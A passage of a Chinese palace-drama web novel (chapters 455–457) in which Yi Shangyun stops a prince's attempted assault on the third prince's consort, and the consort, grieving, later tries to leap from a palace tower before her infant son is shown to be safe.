可是,一想到要再次回到那个让自己充满无尽悲伤的地方,她的心里却又顿时变得无比沉重了起来。 “唉……” 想着想着,不由得重重地叹了口气后忽然坐起身来,似是本能一般地将右手触向了自己的另一只手腕,这才发现自己一直随身带着的那只手镯不知何时早已不翼而飞。 “近来事情太多,竟不知从小到大一直伴着我的那只七彩金丝彩玉镯子不知丢到哪儿去了?” 说着,便紧忙起身来到处胡乱翻了起来。 大半夜里,屋内屋外,将床上、床下、枕头底下、柜子、梳妆台…… 里里外外,所有自己平日里可能到过的角角落落,全都仔仔细细地寻了数遍,却终是未寻到其丝毫痕迹,最后她失落地回座到案几边上思之又思,忽然眼前一亮,遂自言自语道:“莫不是前段日子里,落在倚梅轩了?” 于是,第二日一大早,她便早早起身来梳妆好独自快步朝着梅志煊的宫殿里奔去。 然她竟不知,因为戏园之风波,如今宫里早已无人不知,她乃是这座皇宫的主人所护着的人。所到之处,所有宫人们纷纷朝他礼貌地行礼问安:“姑娘早!” 起初,她亦是纳闷极了,可见与她行礼之人皆都是发自内心,无一不是善意的,于是她也纷纷朝众人回礼,整个人的心情,似乎也由这些细小的细节而更添了几分愉悦。 也是到了此刻,她终于不必再躲躲藏藏,可以正大光明地走出来抬起头好好欣赏一番这座宫殿,遂叹了一声:“果然,这东宁国,实不愧为灵空大陆上富甲一方的国度!” 寒来暑往,暮鼓晨钟,在冬日里暖阳的照耀下,朱红的宫墙,厚重的宫门,耸立的宫殿,俨然似一座大城般浮现在她眼前,这便是东宁皇宫,自己的家,一切都显得格外地壮观。 在今日难得如此蓝天白云的映衬下,这古老的宫殿群如同天上的宫阙般,看上去更显增添了其庄严无数。 精美的角楼,油漆彩画、雕梁画栋,婆娑树影间檐头脊兽的影子落在红色的宫墙上,风云涌动,似时空交错,然光影百年,这大国工匠的智慧,不仅是这个国家民族的骄傲,更是这个国家的国之瑰宝。 大雪过后的白雪红墙,琉璃世界,一缕缕晨阳就这样拉开幕帘穿过格栅窗照进古老的宫殿,唤醒这整座大城,其一草一木见证着春秋过往,一砖一瓦积淀着岁月的痕迹,将一切尽收眼底,一切都是那样的让人叹为观止! 许是因为近日里总是这样阴霾的天气所致的缘故,今日里总算是得以见到甚是如此难得的暖阳,衣上云好似心情不错,正一边走,一边思索着。 眼看着马上就要到倚梅轩了,忽闻耳畔隐隐约约似是传来一女子的急呼声:“快来人,快来人啊!” 衣上云遂将脚步顿住,仔细听了一下,刚一辩清方向,便加快了脚下的步伐,转步朝着声音所传来的方向,位于倚梅轩外不远处的一个树木茂密的湖边小亭方向奔去。 霎时间,她定睛一看,原来是那二皇子梅志豪从后面紧紧抱住了轩辕玥的腰身,将她按趴在亭子里的石桌上,轩辕玥心里惊恐万分,一边挣扎着一边大声急呼:“放手,你快放手!” 可梅志豪却是满脸狞笑,色胆包天,似是丝毫都不惧怕这是在光天化日,朗朗乾坤之下,只死死压制着轩辕玥,一点儿也没有要松手半点的意思。 而在亭子另一角落,俩名侍卫拿布死死地堵住了轩辕玥的贴身婢女锦兰的嘴巴,锦兰又急又怕,早已哭成了个泪人,却是纵使用尽了全身力气也终喊不出一个字来,更是丝毫无力撼动俩个驾着自己胳膊的侍卫的力量半分,只能不断地朝这三人摇头,似是在做着明显无望却又别无他法的祈求。 眼看着梅志豪缓缓俯身下去,凑到了轩辕玥的耳边,嘴里丝毫不觉廉耻地道:“美人儿,这么久以来,难道你竟一点儿也感觉不到,本皇子想你已经太久太久了吗?今日,难得好天气,本皇子终于能解这长久以来的相思之苦了。” 轩辕玥口里忿忿骂道:“梅志豪,朗朗乾坤,众目睽睽之下你就不怕遭雷劈吗?” 梅志豪满脸淫笑,不屑一顾地扬言道:“切,过不了多久,就连这整座皇宫都是本皇子的,本皇子天不怕,地不怕,却是唯怕辜负了美人儿你呀!” 轩辕玥心中只觉恶心,复又挣扎了两下,不以为然道:“梅志豪,父皇尚且健在,你竟然如此大言不惭,小心掉脑袋!今日你若敢动我,日后,我必要你付出沉痛的代价。” 梅志豪笑了笑,继续在其耳边道:“哦?是吗?本皇子倒迫不及待地想见识一下,迎接本皇子的,那究竟是怎样沉痛的代价?不过,就算真的是什么有多沉痛的代价,为了美人儿你,本皇子亦是心甘情愿地接受。” 说完,竟就肆无忌惮地一步一步地向着她的后脖颈里逼近了过去。 轩辕玥一发觉,便似是本能一般地惊呼了一声道:“梅志豪,你……” 启料梅志豪这次却并不再任由她说话与谩骂,似是已对其失去了耐心,厉声将其打断:“住嘴,若是你再敢发出半点儿声音来,小心你那尚还在襁褓之中的爱子和千里迢迢随你远嫁而来的那可怜的贴身婢女立刻一起去见阎王!” 话刚一出,只见牵制着锦兰的俩名侍卫中的一人将手中长剑锋利的剑尖抵在了锦兰的脖颈,另一侍卫则持剑倏地一下,将明晃晃的剑刃指向了石桌上摇篮里尚还不知身边发生了何事,正在睁着圆溜溜的大眼睛舔舐着自己柔软的小手指的天真无知小儿。 轩辕玥一见,疾声大呼,顿又紧忙收声:“不要……” 她只觉自己无力极了,也失望极了,想起那个曾经骄傲的自己,为了心心念念的爱情,一路隐忍,步步退让,收敛锋芒,却没想到竟是换得了如今这般悲惨的下场。 那个人,说要一生保护他们母子俩,而如今,他又到底在哪里? 一时间里,心中五味杂陈,到最后,泪水渐渐地模糊了双眼,她的心也渐渐地凉透了,于是慢慢放弃了挣扎,缓缓地闭上了眼睛。 梅志豪觉察到了她的放弃,于是满意地道:“这就对了嘛,就这一次,本皇子保证,等会儿一定会让你很舒服的,比那没用的老三要对你温柔千倍万倍。那个贱种,家里放着这么个如花似玉的美人儿,整日里还总惦记着跑到宫外到处去沾花惹草,真是生在福中不知福啊!” 梅志豪话刚说完,正兴致勃勃地准备附手上去一把扯下轩辕玥的腰带,忽闻身后传来一大声呵斥道:“住手,青天白日,哪里来的大胆狂徒,竟敢对三皇子妃娘娘如此无礼,可是活得不耐烦了吗?” 闻声,所有人俱都惊魂般猛地回头,朝着声音所传来的方向望了去。 远远地,打眼一看,却见来人原是一瘦瘦小小的婢女打扮。 梅志豪倏地一手从身后紧紧捉住身下压着的轩辕玥的双手,一把将其从石桌上提了起来,嘴角一抽,望着身后来人乐道:“听这口气,本皇子还以为是谁呢?没想到,竟又来了个自己送上门来的不知死活的!看来,今日的确是个好日子啊!” 然待来人渐渐走近,梅志豪似是方才觉得此人有些眼熟,一时间却又怎么都想不起,遂心里犹豫了一会儿,终是没有记起,便指着来人道:“你,你是……” 这时,身后一侍卫似是想起了什么,只见其眼珠子咕噜一转,急忙上前凑到梅志豪的耳边,对其悄声耳语道:“殿下,此人乃是……” 梅志豪听着,脸色却越变越是苍白,顿心中咯噔一下,只觉似是自己的心跳似是都没了一般,遂惊声道:“什么……” 侍卫压住声音,遂怯怯地问:“殿下,这下咱们该怎么办才好呢?” 梅志豪渐渐眯起眼来,脸上笑意早已荡然无存,脸色愈来愈冷,最后狠狠道:“怎么办?一不做,二不休,干脆直接……这座皇宫里的冤魂还少吗!” 侍卫听了,遂惊呼一声:“啊!” 显然,对于东宁国君面前的红人,身为宫中一名小小的侍卫,自然心中还是颇为忌惮的。 然在梅志豪后来的一再催促和威逼下,俩个侍卫终于还是缓缓迈开了步来。 衣上云只见轩辕玥痴痴愣愣,一脸死灰,也不知她究竟怎么了,心里虽然亦是害怕至极,然她知道此时此刻,若是自己先乱了手脚,露出破绽,必会出事。 一念至此,她深吸了口气,目不转睛,故作镇定,依旧朝其厉声喝道:“我看你们谁敢动手?” 瞬时,梅志豪复又催道:“都还愣着干什么?还不快给本皇子上,左不过一个女人而已,难不成对付一个女人,还要本皇子亲自动手吗?” 见侍卫迟迟僵持着不敢逼近,又怕再这样下去会惹来周围的人,忽然之间,梅志豪竟咆哮了起来。 “废物,真是废物!”说着,便一把顺势夺过了身旁侍卫手里高高举起的剑来,奋力朝衣上云的左胸口处狠狠掷了过去…… 第四百五十五章:归来不见卿 “废物,真是废物!” 梅志豪近乎已是魔怔了一般地说着,便一把顺势夺过了身旁侍卫手里高高举起的剑来,奋力朝衣上云的左胸口处狠狠掷了过去。 “嗖”的一声。 伴随着此时已然比她在来时路上所见更加耀眼了些许的阳光照射,一柄光芒夺目的利剑就这样猝不及防地朝着衣上云的面前直飞了过去。 这一刻,周围的所有一切,甚至似是连空气都静止了下来。 衣上云已然来不及避让,只似是本能一般地闭起眼睛侧过了脸去,就在所有人俱都屏住呼吸,惊恐万分地眼睁睁等着下一秒将会发生的惨剧时,却闻“铛”的一声。 耳畔忽响起一清脆的声音,几乎是同时,空中的那柄利剑不知是被从哪儿来的力量瞬间击落,断成了两截落在衣上云面前的地上。 众人尚还未反应过来究竟发生了什么,继而又闻一如雷贯耳般的声音从湖的对面传来道:“皇上驾到!” 闻此,霎时间周围陷入到一片混乱之中。 “皇上……”所有人俱都战战兢兢地扑通一下跪倒了一地,纷纷朝着来人俯首跪拜:“奴才们叩见皇上!” 然见状连连,犹如白日见鬼般久久尚还惊魂不定着的梅志豪已然早已是瞪大了双眼,口中语无伦次着:“皇上……父皇……父皇来了,父皇……” 眼看着他终于反应了过来,正要朝那威严之躯跪身下去,嘴里还不住地颤抖着道:“儿臣……儿臣……儿臣参见父皇!” 启料话音刚落,却被刚刚快步赶到的东宁老国君咬牙切齿地狠狠一脚踹翻,一屁股重重地瘫坐在了地上。 梅志豪抬头对其惶恐万分地道:“父皇……您这是……” 未及其将话说完,老国君怒不可遏将其厉声打断狠狠道:“住口,朕没有你这样禽兽不如的儿子。平日里,朕深知你母后惯爱随着你的性子,可朕竟不知你已荒唐到了如此令人发指的境地。你说你想要什么样的女人没有,三皇子妃再怎么样,她都是你的弟媳,朕的儿媳妇。这光天化日,朗朗乾坤之下,你竟对她做出这种事来,你简直就是,就是……” 说着说着,老国君忽觉眼前一阵晕眩,脚下踉踉跄跄,身子也随之摇晃了两下,众人见状皆都朝其急呼关切地道:“皇上……” 稍时,老国君已然说不出口来,又因一时气急攻心,似是已有些无力支撑,忙将一手附在胸口处。 转目,瞪着躲在梅志豪身后那俩个早已深埋着脑袋,颤抖地不行的奴才道:“来人,朕再也不想在宫里看见这俩个人,将这俩个不知死活的东西押下去斩了。” 闻声,顿时上前来四名侍卫,过去将梅志豪身后的俩人夹起来拖了下去领命:“是!” 那俩人即便此刻,依旧惨声着试图还想求饶:“皇上饶命,皇上饶命啊!” 然却是无一人理会。 梅志豪见状,跪着到老国君的面前,拽着其明黄色的袍角求饶:“父皇,儿臣知错了,请父皇饶恕儿臣这一次,都怪儿臣平日里被那俩个小厮唆使,这才被猪油蒙了心,做错了事,冒犯了弟媳。” 东宁国君缓缓闭起眼睛,对其满腹失望,最后伸手一把从其手里拽走了自己的袍角,梅志豪流着泪失力地倒在了一旁。 老国君一脸严肃,侧过身去缓缓对其丝毫不留情面地道:“由即日起,将二皇子禁足于自己宫中,没有朕的允许,不许跨出宫门半步,亦不允许任何人探望。” 闻此,梅志豪心里一急,顿复又爬过去抱紧了老国君的腿求饶:“父皇,儿臣知错了,求父皇饶了儿臣,不要把儿臣关起来,父皇恕罪,父皇恕罪……” 东宁国君已然是恨铁不成钢,失望至极,最后忿忿地下令道:“带下去吧……” 可即便如此,梅志豪依旧一边被侍卫拖着走,一边大声地朝其祈求道:“父皇,父皇,父皇……” 至此,一直被几名侍卫牢牢护着的衣上云方才迈步上前到了老国君的面前,朝其躬身致谢道:“辛亏皇上及时赶到救了云儿一命,云儿感激不尽!” 见到老国君默不作声地看着此刻失魂落魄的轩辕玥,衣上云抿了抿嘴,她当然知道已经年迈的老国君此时眼里,心中满满说不出口的失望与无奈,于是只柔声安慰其道:“皇上,您没事吧?” 终究,老国君还是隐忍着心里的悲愤,顿了会儿,最后只低低说了句:“朕没事,你快过去看看玥儿吧!她一定被吓坏了,朕有些累,先回清心殿了!” 衣上云曲膝行礼,目送老国君离开:“嗯!恭送皇上!” 果然,因白日里受此到梅志豪的巨大惊吓,轩辕玥在衣上云的陪同下回宫后,直至晚上夜色黑了下来,亦都不吃不喝,不哭也不笑,似是魔怔了一般,眼睛只一眨不眨,面无表情地呆呆守在海儿的身边。 衣上云一整天里不知道多少次,忧心极了地在其耳边唤她:“三皇子妃娘娘……” 又唤她:“玥公主……” 再唤她:“玥儿……” 可无论她说什么,亦或做什么,依旧轩辕玥只顾沉浸在只有自己与爱子俩人的世界里,似是身边的其他一切都不存在一般。完全听不见,也看不见…… 衣上云见此,着实担心极了。 她寸步不离,独自一人守着这母子俩,几乎将所有过去对她的称呼全都挨个叫了无数遍,然却没有一个能将她唤醒过来,看起来这一点儿用都没有。 最后,她只能默默地坐在了轩辕玥的身边,紧紧攥住轩辕玥的双手在自己的手心里,恨恨地道:“该死的梅志豪,她若是因此而有个什么闪失,我一定叫你生不如死。” 眼看着使什么办法似乎都不凑效,忽地,衣上云心里又想起一个人来,于是她口中默默地自言自语:“这个时候,或许只有他才能将玥公主唤醒了!” 一念至此,她忽地起身来走到门口轻唤:“锦兰,锦兰。你来房里仔细守着玥公主,千万不能离开她半步。” 锦兰心里纳闷地道:“我守在这儿?那你要去哪儿,你别走,我好害怕,我怕公主会出事!你不要走好吗?!” 看着锦兰紧紧捉着自己的手,像是捉住了最后一根救命稻草一般,她已然手足无措,她其实早已担心的都哭了。 见此,衣上云忙安慰其道:“锦兰别怕,别怕,有我在,公主她不会有事的。我只是想出去探探三皇子的行踪!这都整整一天了,公主若是再这样下去,怕是真的会出事的。我想,这个时候,恐怕只有三皇子殿下才能把公主唤回来了!” 闻此,锦兰方才长长的松了口气:“原来如此,那你快去吧!” “嗯!”衣上云朝其笑着点了点头,走了出去。 “衣姑娘,谢谢你。” 就在衣上云刚刚疾步迈至门口的时候,忽闻身后锦兰开口道。 衣上云顿足停下,朝其转过身去微微一笑,方才迈出了门槛去。 没想到,衣上云在漆黑的冬夜里,迎着寒风一边哆嗦着,一等就是一个晚上。 待到天就快要亮的时候,梅志煊与其侍卫的身影终于缓缓地现了出来。 衣上云蜷缩在宫门一角,刚一看清是梅志煊的身影,便忽地起身来直朝其奔跑了过去,气着道:“你怎么才回来啊?” 梅志煊刚从马背上下来,满脸惊诧地道:“这大冷天的,天还没亮,你在这里做什么?发生了何事?” 衣上云已然来不及对其多做解释,便开门见山地道:“你快点回去看看吧,玥儿出事了!” “什么?” 闻声,梅志煊顿时眉头紧蹙,复又翻身上马,并一把将衣上云亦捞上了马背,放在自己身前,朝着自己住所方向狂奔而去。 启料刚至宫门口处,梅志煊一下马便与从里面疾跑出来的锦兰撞了个正着。 衣上云不解地问:“锦兰,我不是让你寸步不离地守着公主吗,你怎么一个人跑出来了?公主呢?” 锦兰抬头一看见衣上云果然将风尘仆仆赶回来的梅志煊带了回来,急忙哭喊着道:“不好了,不好了,公主不见了?” “什么?玥儿不见了!” “你说什么?公主不见了!” 衣上云与梅志煊俩人面面相觑,异口同声道。 继而,梅志煊伸手紧紧捉住了锦兰的两只胳膊,质问:“锦兰,这到底是怎么回事?玥儿到底怎么了?” 锦兰后悔懊恼极了,早已哭成了个泪人,歉声道:“对不起,都是我没用,是我没有听你的话看好公主。夜里,我实在是太困了,就只打了个盹,谁知一睁开眼,公主,公主,公主她就不见了……呜呜呜……” 锦兰已然泣不成声,衣上云忙又追问:“那孩子呢?孩子在不在?” 锦兰只剩下连连点头。 见此,俩人心里顿时有一种不好的预感涌上心头。 “玥儿,不要,不要,玥儿……”梅志煊心乱如麻,说着便转身复又朝外奔了出去…… 第四百五十六章:你什么都不知道 唯见锦兰已然惊慌失措地只剩下连连点头,衣上云与梅志煊俩人心里顿时有一种极不好的预感涌上心头。 “玥儿,不要,不要,玥儿……” 一时间里,梅志煊心乱如麻,说着便转身复又朝外大步奔了出去,咬牙切齿嘴里恨恨念道:“梅志豪,你干的好事……” 此时,刚刚赶上俩人脚步跟上前来的梅志煊其侍卫似是尚还未明白究竟发生了什么? 只见一向遇事不惊,沉稳内敛的主人此刻却从未有过的似是魔怔了一般狂奔而出,一脸狐疑地刚移动目光对上衣上云的眼睛,便被衣上云疾声催促着道:“你还愣在这里做什么?还不赶快跟紧了你家主子。切记,无论他想要做什么,务必将他给拦住了,让他一定要保持冷静,尤其眼下这个时候,皇上正在气头上,让他千万莫要和皇后硬碰硬。否则,后果将不堪设想!” 然那侍卫却现出了一脸难色,犹犹豫豫道:“可是,我从未见过我家主子发如此之大的脾气,怕只怕,即便我就是想拦也是拦不住的呀!” 衣上云至今尚还不知轩辕玥究竟已离开多久,又发生了什么,一听侍卫的泄气话,脱口疾声即出道:“拦不住也要想办法拦住,如果你家主子和三皇子妃娘娘其中若有一人出事,那你家小主人可就要彻底小命不保了!你难道到现在还不明白吗?” 一听到累及“小主人”三个字,那侍卫眼睛一怔,似是终于明白了事态的严重性,于是紧忙点了点头答应道:“是,我明白了,为了小主人,我就是豁出这条命,也会拦住殿下的。” 说完,便转身亦疾步飞奔了出去。 看着侍卫离去的背影,衣上云一脸忧心,心里默默地祈祷着:“老天保佑,千万不要出事!” 就在这时,锦兰伸手紧紧地捉住衣上云的一只胳膊,哭着道:“衣姑娘,怎么办,现在我们到底该怎么办呢?公主她,她到底会去哪儿呢?她不会出事吧,她若是出事了,那可该怎么办啊!” 衣上云眉头紧锁着稍作思索,遂转头一脸严肃地朝着锦兰耳旁低声耳语了起来。 锦兰听完了她的话,满脸不解地问:“你,你这是要做什么?” 衣上云深吸了口气,将一手搭在其肩头,朝其信誓旦旦道:“锦兰,你照我说的做便是,我答应你,一定会把公主给你完完整整地找回来。” 发生了这么多事,若是没有衣上云在身边,锦兰怕是早都要举手无措奔溃了,此时此刻,她的心里对她有太多的懊恼与歉意:“衣姑娘,对不起,我之前不该那样说你。” 衣上云抿了抿嘴,微微一笑,将那只搭在她肩头的手移动到她的脸庞帮她擦了擦眼泪,道:“没关系,我都知道,你不必于我道歉。” 启料锦兰忽然一把捉住了衣上云附在她脸庞缓缓移动的手,激动地道:“不,你不知道,你什么都不知道,你从来都不知道!” 衣上云见状愣住。 锦兰回忆着,忧伤地道:“事实上,其实,公主,她的心里一直都在挂念着你,自从你离宫的那日起至今的每一日里,都是。你离宫的那天,她不敢见你,是因为她早已习惯了在宫里有你在身边的日子,她无法面对与你分别。所以,公主她那日独自默默地站在宫中的角楼上,一直目送着你一步步离开。” 衣上云听了锦兰的这番话,恍然大悟。 锦兰吸了吸鼻子,又道:“你该知道,皇上,皇后一向就对公主要求极为严格,可后来,公主在秦王府里听说,你单身一个人去了城南,公主便二话不说,都顾不及于皇上皇后娘娘请示,便不顾一切后果,亲自前往城南寻你……” 果然,轩辕玥对自己的心从未变过,衣上云听着听着,只觉眼里的泪水渐渐模糊了双眼。 锦兰继续在其耳边道:“如果,若不是因为你,西北一役便不会提前爆发,秦王殿下,秦王殿下便也不会……” 听到这里,内心刚刚被其动容说服的衣上云一想到轩辕瀚的死其真正原因是因为璟帝,轩辕玥的父皇,她忽然变得咬牙切齿了起来,顿紧紧地攥住了双拳,将锦兰打断,隐忍着复杂的内心道:“好了,不要再说了,事不宜迟,救人要紧,你赶快依照我刚刚所说的快去准备吧!” 话一说完,衣上云便一脸决绝地转身快步离开。 “秦王殿下便也不会至今都昏迷不醒,若是秦王殿下知道他心心念念所为之人变成了今天这个陌生的样子,不知道他心中会作何想,会有多痛,多失望……” 锦兰对着其背影继续将话说完,深深地叹了口气,又抹了把泪痕,亦快步朝着海儿的房内走了过去。 冬日的暖阳,早早的便不再刺眼,光线很快便柔和了起来,随着太阳的轮廓愈来愈大,似乎与大地万物的距离亦变得更近了。 很快,便到了夜色如水时分。 寂静的皇宫里,只见轩辕玥一袭白衣胜雪,孤零零一个人出现在皇宫面朝西北方高高的角楼上,不知已经呆了多久。 冰冷的寒风袭遍她的全身,将她的长发拂起,她的眼睛亦随之微微眨了眨。 终归是快要到除夕了,她望着角楼下平静的湖面上,倒影出的比往日里她在此所见过多了许多的点点灯火,仿佛又一次看到了过去的那些年里,自己从小到大,在东宁国时,每逢到了除夕时节,宫中香喷喷丰盛的年夜饭,以及满脸笑容和蔼可亲的皇祖母,温柔贤惠疼爱自己的母后,还有自己许久未见的皇弟,是不是要比她快乐地多? 还有永远都一副严厉与冰冷的父皇,还有秦皇叔…… 想着想着,她忽然笑了起来,这才意识到自己已许有许久许久没有过如此真心的笑容了。 事到如今,一切似乎自己都已经早有所料,可偏偏却又是那般地不甘心。 到最后,她只定定地望着西北方遥远的天边,喃喃自语道:“父皇,母后,玥儿好想你们!对不起,玥儿错了,玥儿悔不该当初不听你们的话。如果当初玥儿不出宫到处乱跑,不遇到他,不执迷不悟,便不会有今日的痛苦不堪和以后漫漫岁月里的无可奈何与回不了头了。” 烛火照耀下,清晰可见两行晶莹的泪水悄悄滑落。 顿了顿,似乎她的情绪更加激动了些:“今生今世,玥儿再也回不去,回不到你们身边侍奉。玥儿不孝,来世,玥儿一定加倍偿还于父皇母后……” 她知道,眼下她只需要轻轻抬起脚来,便会听到“扑通”一声,她的整个世界便会随之一下子都变得安静起来。 于是,目光最后再次停留朝着西北方定了一会儿,她轻轻地阖起眼眸,展开双臂来:“父皇,母后,来世再见了……” 就在她抬腿之间,忽闻角楼下有人呼唤道:“玥儿不要……” “公主不要……” 闻声,她似是被来人的声音所惊到,于是“哗”的一下睁开了眼睛。 借着角楼下明亮的烛火照耀,只见一弱小的女子身影,手里高高举起着一个似是襁褓之类的物件,仔细一看,见来人原是衣上云,便道:“是你!你来做什么?” 衣上云将襁褓高高举过头顶,移步站于最明亮,最显眼的地方质问她:“你想做什么?难道你丝毫都不顾及这个尚还在襁褓中的无知小儿了么?” 轩辕玥这才意识到,她手里举着的居然是自己的儿子,可眼里明明对其透着无尽的不舍,却还强装云淡风轻地道:“海儿,他本就生来贵重,又深得父皇疼爱,没有了我,相信父皇也一定会善待他的。” 衣上云扬声道:“皇上如今已然年迈,早就自顾不暇,即使他再疼海儿,尔今又怎能代替你这个生母之职。你如此轻生,上怎么对得起自己的父皇母后,下又如何对得起自己的骨肉!我所认识的从前那个骄傲的西秦长公主就准备这样结束自己的生命,让全天下人耻笑吗?” 往事一幕幕,轩辕玥想来冷冷笑了一声,朝其道:“哼……事到如今,难道你认为我活着,就不是一个笑话了么?” 衣上云对其无比严肃地道:“有我在,便没人敢笑你!况且,什么都没有发生,不是么?!” “你……”轩辕玥愣了一下,然想起衣上云一直以来对自己的忽冷忽热和冷漠,心里终是迟疑了:“算了吧,你我之间的情意,于你而言,早就已经结束了……” 衣上云着急地道:“不,没有结束,一切都还没有结束,方才锦兰已经将一切都告诉我了,公主你一直都在关心我,寻我的下落,对不对?” 轩辕玥迟疑地道:“我……” 衣上云从下面看着轩辕玥被风阵阵吹拂而起的衣袍,只觉她整个人一直都在摇摇晃晃,似是随时都可能会从高空中坠下一般,甚觉心惊胆战,央求着道:“玥公主,你先下来好吗?你看,海儿需要你,我也需要你,我们大家都重新好好开始,好不好?” “我们大家?重新好好开始?” 轩辕玥说着,似是忽然感觉到了什么异样,猛一回头,发现梅志煊正在其身后悄悄朝自己逼近,而一见梅志煊熟悉的脸,她瞬间变得激动了起来:“你来做什么,回去,快回去,否则,否则我……” 轩辕玥说着,便抬起脚朝着栏杆上踩了上去。 梅志煊一见,顿停下脚步,道:“玥儿不要,对不起,玥儿,对不起,对不起,我来迟了,对不起,玥儿,你不能有事,千万不能有事啊……” 就在角楼上的俩人陷入僵持之际,忽闻角楼下传出“啊”的一声…… 第四百五十七章:该如何向皇叔交待 就在角楼上的俩人陷入僵持之间,忽闻角楼下传出“啊”的一声…… 已然顾不得梅志轩的轩辕玥本能一般地惊慌转身朝下望去,却不知何时,方才衣上云所站立的位置上早已没了任何身影,就在她朝下四处寻觅时,忽地匆匆一闪而过几名手持着明晃晃的利剑在漆黑的夜里泛出无比寒光的黑衣人,瞬间亦不见了踪影。 顿时间,她俯身朝着角楼下昏暗的灯光下所发生的这一幕惊呆了。 与此同时,角楼上尚还不知发生了什么的梅志煊却是把握住时机一个飞身过去将轩辕玥一把从栏杆上揽腰拉了下来,顺势两手从其后面紧紧地抱住,惊魂不定极了地道:“玥儿对不起,是我对不起你,求你别做傻事,千万别做傻事,我不能没有你,海儿不能没有母妃,我们都离不开你!” 而轩辕玥则自是早已没有了心思听他此时所言之丝毫,直目不转睛地依旧盯视着角楼下方,最后嘴里忽然一边打着哆嗦一边痴痴愣愣地自言自语呢喃着道:“孩子,我的孩子,海儿,我的孩子,我的孩子呢?” 直到觉得她娇小柔弱的身子似是整个人在自己宽大的怀抱中都极不正常地毫无反应,梅志煊才终于渐渐注意到了她嘴里的喃喃之声,蹙眉疑惑地跟着其重复了一句道:“孩子?” 未及其完全反应过来,轩辕玥忽然开始在他的怀里大力地挣扎了起来,乘机近乎于发狂一般地回首对其大声吼了句:“放开我!” “女子本弱,为母则刚。” 也不知她小小的身体里哪儿来的一股强大的力量,竟真的一把将梅志煊紧紧的怀抱推了开来,就在梅志煊为此而震惊又不解之际,她一个飞步复又再次跨上了栏杆紧跟着提腿越过其纵身一跃,毫不犹豫地径自跳了下去。 梅志煊一见,惊恐万分地伸出手去想要将她抓住,却是手里空空什么都没抓着,黑夜里只闻其大声惊叫道:“不,玥儿!” 似是就连轩辕玥自己也不知道,那么高的角楼,且是漆黑的夜晚,自己只身就这样落了下来竟然浑身一点儿也没有受伤,可此时她显然已顾不得思索这些。 待其双脚刚一落地,便提步跌跌撞撞地奔到了角楼下的湖边开始四处寻觅:“云儿,云儿,你在哪?云儿……” 直至最后发现了湖面上早已没了任何生息,唯独飘浮着自己再也熟悉不过的亲手为爱子缝制的一方襁褓,她顿时朝其瞪大了眼睛…… 她难以置信极了,摇晃着脑袋悲痛不已道:“不可能,这不可能,海儿,我的孩子,我的孩子……” 瞬间,她似是就连站着的力气也没有了…… “扑通”一声,终于跪倒在地下痛哭起来。 仰望着此时显得是那样刺眼的漫天星空,她撕心裂肺地问:“老天爷啊,这是为什么,这到底是为什么啊,若是有错,那也都是大人的错,若要惩罚,你惩罚我便是,为何要这样对待我的孩子,他还那么小,他什么都不懂……” 就在此一声比一声更加悲痛凄惨的哭诉声中,她的身旁,暗夜里,忽然从四面八方蠢蠢欲动着闪现起一道道亮光来,伴随着传出似是利剑出鞘的瘆人声音,她却完全对此浑然不觉…… 就在这时,紧随其后飞身落下正欲上前近身过去的梅志煊顿足停了下来,一双极其敏锐的余光朝着周围极快速地扫了一圈,警觉地发现了暗藏于漆黑的角落里的数十名正虎视眈眈的黑衣人,个个举着手里的利剑跃跃欲试着朝他夫妻二人身边正缓步逼近着。 黑衣人似是亦觉察到行动已然被觉察,便索性个个咬牙如亡命之徒一般高举起长剑奋起,一齐朝着梅志煊的方向刺去。 “铛铛铛……” 顿时间,无数利剑相互碰撞在一起,所发出的清脆的声音撕破了整个寂静的夜空,陷入了一片沸腾的混战之中…… 而一旁不远处湖水边,此刻只自顾着伤心欲绝沉浸在自己如同毁灭一般的世界里的轩辕玥就像与世隔绝了一般,对此毫无察觉。 她满满绝望的眼神凝望着眼前无比平静的湖面上顺着水流方向渐渐漂远的那方襁褓,不知过了多久,忽然缓缓起身来。 嘴里低声念叨道:“孩子,母妃绝对不会让你孤零零一个人走的。母妃这就来陪你,母妃会永远陪着海儿,和海儿在一起。这个世界,母妃已经再也没有什么可留恋的了……” 话说至此,她的余光朝着身后微微斜了一眼,复又缓缓收回,吸了口气似是最后已下定了决心,轻轻阂起一双绝望的眼眸来喃喃低语:“海儿别怕,母妃来了……” 就在她闭眼正欲提步之间,身后忽然传来梅志煊阻止的声音:“玥儿,不要!” 闻声,轩辕玥忽地惊醒,提起在半空中的一只脚终还是迟疑了一下,却是仅仅只有数秒而已,继而脸上笑着滑落了两行泪水,心思于这一刻却似是因了这一声呼唤而变得更加无比清晰肯定。 是的,她终是心里一横,决定什么都不管不顾了。这世间,这余生,于她,已然再没有了任何期待和让她活下去的理由。 正要进行接下来的动作,忽闻梅志煊大声道:“玥儿你要做什么?你是不是以为我们的海儿落入这冰冷的湖水里了?啊?” 轩辕玥似是被这一声呐喊真的惊了住,望着眼前冰冷的湖水犹豫了一瞬,低声喃喃道:“海儿……” 梅志煊一边奋力举剑抵住砍向自己的几柄剑刃,一边见了她的反应,像是自己所言凑了效,便继续道:“玥儿,我们的海儿,他并没有死,海儿他此刻正好好地在宫里呢!” 哪知轩辕玥犹豫了一瞬,却再次闭起眼睛,吸了口气,似是疲倦极了地道:“梅志煊,这一生,你对我,到底有几分真几分假,全都到此结束了,我,轩辕玥,再也不会相信你了!” 梅志煊咬紧牙关边战边劝阻轩辕玥,此刻终于将最后仅剩的几名黑衣人一扫而光。 正想继续再说些什么:“玥儿……” 就在这时,却闻锦兰的声音在耳畔响起:“公主,殿下他这次真的没有骗您,公主请看,小殿下他这这儿不是好好的么!” 闻此,轩辕玥方才眼睛一怔继而忽地转身望着锦兰惊道:“锦兰……” 锦兰一边说一边朝轩辕玥的身边走去,将怀中紧抱着的孩子的襁褓微微掀开了一些,露出其圆圆的脑袋来。 轩辕玥疾步如飞地朝其奔去,一把接过她手里的襁褓,看着那熟悉的不能再熟悉的小脸庞,一双乌亮的大眼睛,刹那间泪流满面着将其抱紧贴上孩子红扑扑的脸蛋,深情地道:“我的孩子,我的孩子……” 然待其一反应过来,紧忙再次对上锦兰的眼睛:“那刚才落水的……” 锦兰皱了皱眉,犹豫了一瞬,道:“是衣姑娘。” “云儿?真的是她!”轩辕玥道。 锦兰点了点头,解释道:“可怜公主您打小哪经得起这般羞辱,怕您定是想不开寻短见。衣姑娘说,若是如今公主真的还能被谁劝得,那便只有小殿下才能做到。” 锦兰说着,恨恨地瞪了一眼一直立在二人身旁,默不敢作声的梅志煊一眼。 